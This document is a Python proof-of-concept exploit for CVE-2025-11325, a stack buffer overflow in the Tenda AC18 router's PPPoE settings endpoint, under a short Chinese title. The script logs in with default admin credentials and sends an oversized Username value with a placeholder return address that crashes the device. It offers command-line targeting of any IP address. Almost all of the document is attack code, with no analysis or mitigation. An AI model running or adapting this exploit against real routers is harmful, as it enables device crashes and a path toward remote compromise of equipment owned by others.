CVE-2025-11325：Tenda AC18路由器PPPoE设置接口栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11325 - Tenda AC18 fast_setting_pppoe_set Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via Username parameter # Affected: Tenda AC18 firmware 15.03.05.19(6318) import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(target_ip, target_port=80, username='admin', password='admin'): """ Exploit the stack-based buffer overflow in fast_setting_pppoe_set endpoint. The Username parameter is vulnerable to stack buffer overflow. """ base_url = f"http://{target_ip}:{target_port}" login_url = f"{base_url}/login/Auth" exploit_url = f"{base_url}/goform/fast_setting_pppoe_set" session = requests.Session() # Step 1: Authenticate to obtain session cookie login_data = { 'username': username, 'password': password, } try: resp = session.post(login_url, data=login_data, timeout=10, verify=False) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Construct the overflow payload # The buffer is typically small; overflow with a large Username value # Adjust the padding length based on the specific buffer size padding = b'A' * 256 # Overflow padding to reach return address # MIPS return address placeholder (e.g., 0x7f010000 - libc gadget) # In real exploitation, replace with actual ROP chain / shellcode address ret_addr = b'\x41\x41\x41\x41' payload = padding + ret_addr # Step 3: Send the malicious PPPoE configuration request exploit_data = { 'Username': payload.decode('latin-1'), 'Password': 'password123', 'Server': '0.0.0.0', 'IP': '0.0.0.0', } try: resp = session.post(exploit_url, data=exploit_data, timeout=10, verify=False) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") return True except Exception as e: print(f"[-] Exploit request failed (device may have crashed): {e}") return True # Crash indicates successful overflow if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.0.1 80 admin admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' print(f"[*] Targeting Tenda AC18 at {target}:{port}") print("[*] CVE-2025-11325 - Stack Buffer Overflow via Username parameter") exploit(target, port, user, pwd)